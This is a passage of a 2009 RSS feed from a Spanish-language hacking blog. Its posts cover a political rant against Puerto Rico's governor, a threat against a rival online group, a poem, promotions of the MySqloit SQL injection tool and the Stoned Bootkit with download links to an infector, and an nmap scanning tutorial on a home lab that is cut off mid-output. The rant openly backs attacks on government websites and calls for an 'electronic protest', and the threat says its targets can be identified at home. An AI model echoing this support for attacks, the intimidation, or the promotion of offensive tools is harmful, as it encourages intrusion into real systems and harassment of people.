/&gt;Bueno estoy segurisimo que este mensaje Ni lo leera el gobernador de la isla de Puerto Rico de la que Es Mi madre o sea ella es oriunda de la isla pero nosotros siempre nos hacemos escuchar..&lt;br /&gt;&lt;br /&gt;los que me conocen saben que soy un Patriota Americano y defiendo mi constitucion hasta la muerte siempre y cuando sea dentro de los terminos de la constitucion que dicta Estados Unidos De America y con orgullo, soy un soldado con mala sangre y defiendo mi postura hasta lo ultimo.mas bien el abuso no lo tolero.&lt;br /&gt;&lt;br /&gt;este dia ocurrio una masacre moral en La Isla de Puerto Rico cuando el muy Cabron,Mal Parido e hijo de la gran puta Gobernador de la isla Luis "MilHouse" Fortuño despidio a miles de empleados justificando un deficit de yo no se cuantos Millones (3,ooo).&lt;br /&gt;&lt;br /&gt;la verdad que me deja sin palabras ya que en ese pais ellos impusieron un arbitrio para sufragar esa deuda subieron cientos de cosas para sufragar esa deuda y la misma no baja...jajajajaja&lt;br /&gt;&lt;br /&gt;valla movida del gobierno que lo unico que realmente persiguen detras de esto es recibir los paquetes de ayuda federal de Estados Unidos que esta otorgando a los paises con estas crisis jajaja y engordar sus bolsillos...&lt;br /&gt;&lt;br /&gt;a la hora que estoy escribiendo esto ya muchos websites del gobierno de Puerto Rico estan recibiendo ataques webs de diferentes clases como repercusiones del mismo Gobierno y del abuso que tienen de poder (no muy diferente a diferentes gobiernos) pero en este caso&lt;br /&gt;&lt;br /&gt;yo Blood_rec apoyo los ataques que se estan llevando acabo y apoyo todo lo que sea en contra del gobierno arbitrario de Luis Fortuño, y como ya lei en diferentes diarios electronicos del pais y paginas webs Tambien Me Cago En tu Madre Gobernador de mierda. jajajaja&lt;br /&gt;&lt;br /&gt;pero como el no va a leer esto le decimos gobernador de Puerto Rico que nosotros los del under nos aseguraremos que usted sepa que estamos con el Pueblo De Puerto Rico y que nos estamos Cagando en su Madre jajajaja...&lt;br /&gt;&lt;br /&gt;que la furia del pueblo trabajdor caiga sobre usted yo apoyo todo esto por que llevo parte de la isla en mi sangre y me siento latino me siento parte del pueblo y es un abuso desmedido de parte de ese Gobierno..&lt;br /&gt;&lt;br /&gt;el sindicato de trabajadores acabo de anunciar para el 15/octubre/2009 un paro nacional,nosotros convocamos para el 15/octubre/2009 una protesta electronica en contra de Luis Fortuño y toda la bola de pendejos que lo siguen de su  partidoo. :D&lt;br /&gt;&lt;br /&gt;asi que Gente como mencione arriba los apoyo y agradezco sus mensajes pidiendome que los asistiera recalco que los ataques llevados a cabo no son en apoyo de ningun partido ni mierda cabrones esto es el pueblo que grita "BASTA DE ABUSOS MALDITOS".&lt;br /&gt;&lt;br /&gt;Cito esto:&lt;br /&gt;Ya no podemos sequier culpando al pueblo por su inconciencia, Tenemos que enfrentar la realidad...no todos votamos por ese dictador pero tenemos que enfrentar el desastre y combatier la tormenta....&lt;br /&gt;&lt;br /&gt;El grito es, un paro nacional!..Esta lucha es una lucha de dia y noche, es la paralizacion del pais por parte del pueblo, es la paralizacion de todas las carretas y puentes ,es hacer uso de la desobediencia civil como intrumento de lucha, es la desobediencia civil necesaria en la casa de las layes y en la fortaleza, para dejarle saber a ese cabr0@ de gobernador y su legisladores que ahora se hacen los no culpables, que este pueblo se RESPETA!...&lt;br /&gt;&lt;br /&gt;No hay ley o orden mas grande,no hay ejercito mas poderoso, que la voluntad soberana del pueblo de Puerto Rico y su derecho a la dignidad y el respeto!..NO PODEMOS DOBLEGAR RODILLA AHORA NI MAÑANA NI NUNGA HASTA QUE AQUI NO SE RESTAURE LA DEMOCRACIA Y SE RESPETE EL TRABAJO DE CADA PUERTORRIQUEÑO..&lt;br /&gt;===================================================================&lt;br /&gt;con esas declaraciones de un trabajador Boricua dejadas en un website Puertorriqueño los dejo y esta protesta continuara....&lt;br /&gt;&lt;br /&gt;ya es hora que escuchen al pueblo trabajador y de nuevo me les uno por motivos sociales no apoyo y recalco a ningun maldito Partido ==PNP'S,PPD'S,PIP'S.PPP, o como se llame el partido ese amarillo todos esos patidos me la raspan asi que ya saben gente de Puerto Rico estoy con ustedes...&lt;br /&gt;&lt;br /&gt;blood_rec&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-849541336452055978?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/z5x7nm9syio" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-25T20:26:35.187-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/09/mensaje-al-cabron-del-gobernador-de.html</feedburner:origLink></item><item><title>MYSQLOIT to0l de inyecciones sql para LAMP</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/PHGZJSnZ2xM/mysqloit-to0l-de-inyecciones-sql-para.html</link><category>Herramientas</category><category>linux</category><category>Hacking</category><category>SQL Inyection</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Sat, 12 Sep 2009 13:13:06 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-1190698553529819966</guid><description>Como es usual leyendo en Darknet me encuentro con esta interesante herramienta Mysqloit que es una herramienta para gestion de inyecciones sql orientada a el servidor LAMP (Linux Apache MySqL y PhP) asi como WAMP (Windows Apache MySqL Y Php) tiene la gran ventaja de subir shellcodes de metasploit y ejecutarlos a traves de la inyeccion.&lt;br /&gt;&lt;br /&gt;Asi como saben cuando van probando inyecciones los atacantes se enfrentan a muchas limitaciones o restricciones a la hora de ir probando.&lt;br /&gt;&lt;br /&gt;Como la falta de consulta o (strings) en el comando sql que van probando y por esa razon Mysql es una plataforma de gestion de base de datos no muy seguro, la ejecucion de codigo remoto.. esta herramienta automatiza todo el proceso incluyendo consultas que podemos pasar por alto.&lt;br /&gt;&lt;br /&gt;Las Caracteristicas de la Herramienta son:&lt;br /&gt;&lt;br /&gt;Ejecucion de inyeccion Basado en tiempo de la misma&lt;br /&gt;&lt;br /&gt;Huellas Digitales De La Base De Datos&lt;br /&gt;&lt;br /&gt;Huellas Digitales del servidor web&lt;br /&gt;&lt;br /&gt;Creacion De Payloads (tipo metasploit) y ejecucion de los mismos&lt;br /&gt;&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;La Herramienta actualmente esta siento testeada en plataforma Linux, asi que no dudaria que la desarrollen tambien para windows,esta en su pleno desarrollo la misma.&lt;br /&gt;&lt;br /&gt;os invito que la prueben y como recomiendan en Darknet les dejen sus opiniones al autor de la misma, asi pueden haber varias mejorias.&lt;br /&gt;&lt;br /&gt;Descarga De La misma:&lt;br /&gt;&lt;a href="http://mysqloit.googlecode.com/files/MySqloitv0.1.tar"&gt;MySqloitv0.1.tar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Web Sobre Ella:&lt;br /&gt;&lt;a href="http://code.google.com/p/mysqloit/"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-1190698553529819966?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/PHGZJSnZ2xM" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-12T13:13:06.497-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/09/mysqloit-to0l-de-inyecciones-sql-para.html</feedburner:origLink></item><item><title>Advertencia A Los Anti Bin Laden records</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/Z1H5wQvKYBg/advertencia-los-anti-bin-laden-records.html</link><category>anuncios</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Sat, 12 Sep 2009 12:05:56 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-7265147794112583451</guid><description>Bueno espero no seguir saliendome del contexto de la tematica de mi blog q es uno de Seguridad Informatica y Hacking pero igual es mi blog y escribo lo que me salga de los cojones..&lt;br /&gt;&lt;br /&gt;esto lo escribo a raiz que ya me han enviado 3 privados bien tonto un grupito que parece que se reune en la mierda de red social MySpace y tienen una serie de Spaces que los consideran los AntiBinladen records Menuda mierda de nombre...&lt;br /&gt;&lt;br /&gt;los privados amenazantes sobre el apoyo y mierdas que hablan y cosas me los paso por los huevos,, este grupito parece que lo que quieren es medirle el pene a nosotros o cosas y como ya saben no me gustan las guerritas informaticas (al final siempre las gano) xD ...&lt;br /&gt;&lt;br /&gt;en fin al grupito ANTIBINLADENRECORDS este que de seguro que tienen que ser una bola de chamakitos que no tienen mas nada que hacer y parece que con mis post en apoyo a mi gente y si no lo negare "SOY DE BAYAMON LAMBONCITOS" pues quieren meter cabritas y voy a advertirles algo.&lt;br /&gt;&lt;br /&gt;Chamakitos no ronquen nada por aqui en internet por que de una cosa estamos seguro que deben ser del area estupidos y si realmente me conocen deben saber quien soy aparte que tienen que tener cuidado que escriben en su space y su sitio web por que en internet muchos leen y pueden quedar mal.&lt;br /&gt;&lt;br /&gt;Yo no jodo en la calle pero si aqui en la red asi que idiotas les recomiendo que modifiquen todas sus baboserias bardas y sus privaditos que me envian dejenlos para su juego de PS3 por que la vida no es Grand Theft Auto.&lt;br /&gt;&lt;br /&gt;Mucho cuidado con lo que escriben ANTIBINLADENS por que la red le puede caer en la cabeza no quiero ser un egocentrico pero no me hinchen las bolas por que a ustedes nunca les e dicho nada asi que si quieren seguir con su sitio dejen la mierda esa de antibinladen y estupideces y no me envin privados...&lt;br /&gt;&lt;br /&gt;que no quiero romperles el culo, yo no se de donde sacaron esa estupides pero no les quda y mucho menos llaman la atencion, de verdad tengan cuidado NENITOS que ni el internet es tan seguro como piensan, a lo mejor piensan que estar detras de un monitor no se les puede identificar y estan equivocaditos.&lt;br /&gt;&lt;br /&gt;asi que diganles a Papi y Mami que los castigue sin internet o algo por que les pueden tocar la puerta nenes y dejen de hincharme las pelotas a mi idiotas jajajaja.....&lt;br /&gt;&lt;br /&gt;de verdad que no se que rayos es eso de ANTIBINLADEN RECORDS bobolones comprense un control de ps nuevo y retirense de la red con dignidad&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-7265147794112583451?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/Z1H5wQvKYBg" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-12T12:05:56.257-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/09/advertencia-los-anti-bin-laden-records.html</feedburner:origLink></item><item><title>[Escritura y Literatura] Nacimiento</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/Fr6mHIZa6kw/escritura-y-literatura-nacimiento.html</link><category>Escritura</category><category>Mi Vida</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Wed, 02 Sep 2009 23:23:37 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-5927320096879018679</guid><description>Si no te gusta la literatura simplemente no leas este post y sigue tu camino por lo menos esto no tiene que ver con informatica ni seguridad esta vez son loqueras y cosas de mi mente&lt;br /&gt;&lt;br /&gt;Una de las cosas que muchos no conocen de mi es que me encanta leer por ende me encanta escribir tambien cuando estoy en mi musa solo cojo mi libreta y un papel y no paro de escribir ya se habran dado de cuenta con los manuales xD...&lt;br /&gt;&lt;br /&gt;pero me gusta escribir sobre todo sea social,politico,mi vida lo que sea y la inspiracion que tenga en el momento o por solo escibir la verdad es que es uno de mis mejores amigos ( La Libreta)...&lt;br /&gt;&lt;br /&gt;Esta Endum..como le llamo le puse Nacimiento por que es una faceta y aficion que nadie del mundo under o en la red conoce de mi:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"Cada vez la esqina se hace mas chica, y el silencio ya esta lastimando mi ser,los temores de la oscuridad se vuelven palpantes con el pasar de los meses. miro a mi alrededor y solo veo oscuridad.&lt;br /&gt;&lt;br /&gt;Quiero respirar. Grito en mi mismo espacio pero nadie me escucha estoy despierto pero siento que duermo, y mas aun el sentimiento se engrandeze en mi ser. mi corazon late mas rapido de lo comun, y no se que es todavia la libertad.&lt;br /&gt;&lt;br /&gt;Quiero Vivir. La ignorancia de lo desconocido me intriga mi deseo,ya que soy un ser ignorante. ignoro la vida, ignoro el amor, ignoro el odio por que nunca tube a nadie que amar, ignoro el dolor por que nunca quise sufrir, ignoro la vida por que aqui siento morir. mas bien las ganas y el deseo me llevan por este camino de salir.&lt;br /&gt;&lt;br /&gt;Quiero Amar. Nunca e creido en lo que no veo, en lo que no toco en lo que no pruebo, pero en cambio esta es una sensacion que fluye en mi adentro, nunca pense que podia tener el potencial de crear algo a base de lo inexplicable, rio sin razon pero estoy conciente de por que lo hago, el silencio se burla de mi por que no puedo expresar lo que siento y solo la oscuridad es lo mas cercano a el sentimiento que quiere salir de mi.&lt;br /&gt;&lt;br /&gt;Quiero Soñar. No el sueño que e tenido con el espacio tiempo que vive en mi. si no el sueño de imaginarme en un mundo con colores,olores,sabores, saber que es lo que hace el sonido que escucho alla fuera y el por que empezamos desde la oscuridad y retornamos a ella.&lt;br /&gt;&lt;br /&gt;Quiero Danzar. Y no verme en mi espacio limitado de mi propio reencuentro, con mi danza expresar lo que tengo, que la oscuridad lleve mi paso y el silencio sea mi musica, que las rarezas de lo desconocido se tornen en la sabiduria de mi danza.&lt;br /&gt;&lt;br /&gt;Quiero Cantar. y que mi voz sea escuchada. y lo que este al mi alrededor cante conmigo,asi que el silencio se convierta en voz y mi voz se convierta en silencio, pero un silencio melodico, y asi comunicarme con el universo, el mismo universo que habita en mi interior.&lt;br /&gt;&lt;br /&gt;Quiero Volar. Y salir de aqui y poder desplegar las alas de mi la imaginacion, no tener la restriccion de mi libertad cerrar mis ojos pero poder besar el cielo y alejar de mi todo lo que me a  acompañado a lo largo de mi corta vida, asi como el viento vuela por toda la materia que nos rodea.&lt;br /&gt;&lt;br /&gt;Quiero Nacer. Conocer El Sonido que solo escuchaba de lejos,quitarme la mascara del miedo, y tomar la flor de lo timido, aprender como amar,soñar,pensar,volar. y que no sean solo un deseo remoto. que la oscuridad tome color y el silencio se pueda palpar.&lt;br /&gt;&lt;br /&gt;Acabo de verlo todo,y la sensacion es palpable la vida me a dado la bienvenida, estoy conociendo el amor, estoy conociendo el sufrir,estoy conociendo el pensar, estoy conociendo la libertad. mis letras alejan el dolor. del que nunca habia experimentado.&lt;br /&gt;&lt;br /&gt;Posiblemente sea una etapa totalmete diferente,ya no lo veo ya no lo escucho mientras comprendo que todo era pasajero que mi nacimiento es una transcicion, es el primer paso a mi autoconocimiento, ahora comprendo que nacer no es mas que vivir."&lt;br /&gt;&lt;br /&gt;[black-moon]&lt;br /&gt;&lt;br /&gt;by bloodrec&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-5927320096879018679?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/Fr6mHIZa6kw" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-02T23:23:37.461-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/09/escritura-y-literatura-nacimiento.html</feedburner:origLink></item><item><title>Stoned Bootkit Malware En El MBR de Windows Que Novedad xD</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/iNLvQHK1QXk/stoned-bootkit-malware-en-el-mbr-de.html</link><category>virus</category><category>malware</category><category>windows</category><category>Vulnerabilidades</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Sun, 23 Aug 2009 10:18:31 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-4545821473436903057</guid><description>Si asi mismo es otro malware que este puede afectar Windows xp,2003, Windows Vista, y el Segurisimo Windows 7 xD....esta vez se trata de Bootkit que es un malware similar a los rootkits,este trabaja en el inicio parchando el sistema operativo para asi poder cargarse en el "Grandioso" Kernel de windows.&lt;br /&gt;&lt;br /&gt;Tiene muy buenas funciones de las que inclusive puede saltar la encriptacion de volumen (True Crypt) No te protegera Auditores ;) ya que el MBR (Master Boot Record) esta Fijado y no encryptado,el MBR contiene un programa de desencriptacion que este mismo contiene un password que desencripta el disco y ahi viene la vulnerabilidad y de ahi nace si Maravillosamente el mismo MBR (Master Boot Record) que puede dejar tu gran windows vulnerable una vez mas...&lt;br /&gt;&lt;br /&gt;( No me hinchen las pelotas con sus privados sobre windows)&lt;br /&gt;&lt;br /&gt;Si quieren fotos de mi gran verga solo pidanlas amablemente XDDDDDD&lt;br /&gt;&lt;br /&gt;Que es lo interesante de Bootkit?:&lt;br /&gt;&lt;br /&gt;*Vulnera los ultimos windows desde Xp Hasta Windows 7 (Ironicamente el que los amantes de windows decian que era lo mas seguron jajaja si claro)&lt;br /&gt;&lt;br /&gt;*Para Los Auditores Que Apuestan  A True Crypt Para Encriptar sus volumenes Pues Malas Noticias Ahi esta Bootkit xD&lt;br /&gt;&lt;br /&gt;*Contiene Drivers Con Soporte NTFS y FAT ^^&lt;br /&gt;&lt;br /&gt;*Y contiene la grandiosa opcion de plugins para desarrollo en el futuro para instalar aplicaciones (es open source ^^)&lt;br /&gt;&lt;br /&gt;===================================================================&lt;br /&gt;Para los interesados en probarlo pueden Descargarlo &lt;a href="http://www.stoned-vienna.com/downloads/Stoned%20Bootkit%20Framework.zip"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;El Archivo Infector &lt;a href="http://www.stoned-vienna.com/downloads/Infector.exe"&gt;AKA&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;y Leer sobre el Software Aqui En Ingles :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-4545821473436903057?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/iNLvQHK1QXk" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-23T10:18:31.305-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://www.stoned-vienna.com/downloads/Stoned%20Bootkit%20Framework.zip" length="4482404" type="application/zip" /><feedburner:origLink>http://h4xxor.blogspot.com/2009/08/stoned-bootkit-malware-en-el-mbr-de.html</feedburner:origLink></item><item><title>Analisis De Puertos,Identificacion de sistema,servicios del mismo...</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/eK7BtdjqTSA/analisis-de-puertosidentificacion-de.html</link><category>defacing</category><category>manuales</category><category>Hacking</category><category>papers</category><category>sistema operativo</category><category>scanners</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Wed, 29 Jul 2009 22:21:15 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-7908767744237011364</guid><description>##################&lt;br /&gt;#Author: blood_rec                                              &lt;br /&gt;#Colaborators: Georgio                                        &lt;br /&gt;#blog: &lt;a href="http://h4xxor.blogspot.com/" target="_blank"&gt;http://h4xxor.blogspot.com&lt;/a&gt;                        &lt;br /&gt;#web: &lt;a href="http://e-r00t.org/" target="_blank"&gt;http://e-r00t.org&lt;/a&gt;                                        &lt;br /&gt;#contact: blood_rec   @el-hacker.org                      &lt;br /&gt;#Musica Durante: Metallica                                  &lt;br /&gt;##################&lt;br /&gt;&lt;br /&gt;                       Importancia de El&lt;br /&gt;################################&lt;br /&gt;# Analisis De Puertos,Identificacion de sistema,servicios del mismo...                                                          &lt;br /&gt;################################&lt;br /&gt;================================&lt;br /&gt;A-Introduccion:&lt;br /&gt;&lt;br /&gt;A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...&lt;br /&gt;&lt;br /&gt;A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...&lt;br /&gt;&lt;br /&gt;pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...&lt;br /&gt;&lt;br /&gt;a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...&lt;br /&gt;&lt;br /&gt;El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico  Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD&lt;br /&gt;&lt;br /&gt;B-Comienzo:&lt;br /&gt;&lt;br /&gt;Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...&lt;br /&gt;&lt;br /&gt;Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.insecure.org/nmap" target="_blank"&gt;http://www.insecure.org/nmap&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco&lt;br /&gt;&lt;br /&gt;Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:&lt;br /&gt;&lt;br /&gt;[ go0ns  @squad # nmap 192.168.56.1&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.60 ( &lt;a href="http://nmap.org/" target="_blank"&gt;http://nmap.org&lt;/a&gt; ) at 2009-06-26 23:29 GMT&lt;br /&gt;All 1715 scanned ports on 192.168.56.1 are filtered&lt;br /&gt;MAC Address: 00:76:62:6E:65:74 (Unknown)&lt;br /&gt;&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]&lt;br /&gt;&lt;br /&gt;Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:&lt;br /&gt;&lt;br /&gt;[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps&lt;br /&gt;Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs&lt;br /&gt;Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth&lt;br /&gt;Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet&lt;br /&gt;Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS&lt;br /&gt;Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP&lt;br /&gt;Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]&lt;br /&gt;&lt;br /&gt;UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:&lt;br /&gt;&lt;br /&gt;[ go0ns  @squad # nmap 192.168.56.1&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.60 ( &lt;a href="http://nmap.org/" target="_blank"&gt;http://nmap.org&lt;/a&gt; ) at 2009-06-26 23:28 GMT&lt;br /&gt;Interesting ports on 192.168.56.1:&lt;br /&gt;Not shown: 1710 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;25/tcp   open  smtp&lt;br /&gt;80/tcp   open  http&lt;br /&gt;110/tcp  open  pop3&lt;br /&gt;1241/tcp open  nessus&lt;br /&gt;2500/tcp open  rtsserv&lt;br /&gt;MAC Address:Unknown)&lt;br /&gt;&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:&lt;br /&gt;#####################&lt;br /&gt;#Puerto  | Servicio #&lt;br /&gt;#####################&lt;br /&gt;#25/tcp  | smpt     #&lt;br /&gt;#80/tcp  | http     #&lt;br /&gt;#110/tcp | pop3     #&lt;br /&gt;#1241/tcp| nessus   #&lt;br /&gt;#2500/tcp| rtsserv  #&lt;br /&gt;#####################&lt;br /&gt;&lt;br /&gt;Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...&lt;br /&gt;&lt;br /&gt;en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..&lt;br /&gt;&lt;br /&gt;ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos&lt;br /&gt;&lt;br /&gt;[ go0ns  @squad # nmap -O 192.168.56.1&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.60 ( &lt;a href="http://nmap.org/" target="_blank"&gt;http://nmap.org&lt;/a&gt; ) at 2009-06-26 23:32 GMT&lt;br /&gt;Interesting ports on 192.168.56.1:&lt;br /&gt;Not shown: 1710 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;25/tcp   open  smtp&lt;br /&gt;80/tcp   open  http&lt;br /&gt;110/tcp  open  pop3&lt;br /&gt;1241/tcp open  nessus&lt;br /&gt;2500/tcp open  rtsserv&lt;br /&gt;MAC Address:  (Unknown)&lt;br /&gt;No exact OS matches for host (If you know what OS is running on it, see &lt;a href="http://nmap.org/submit/" target="_blank"&gt;http://nmap.org/submit/&lt;/a&gt; ).&lt;br /&gt;TCP/IP fingerprint:&lt;br /&gt;OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA&lt;br /&gt;OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC&lt;br /&gt;OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6&lt;br /&gt;OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T&lt;br /&gt;OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)&lt;br /&gt;OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%&lt;br /&gt;OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(&lt;br /&gt;OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL&lt;br 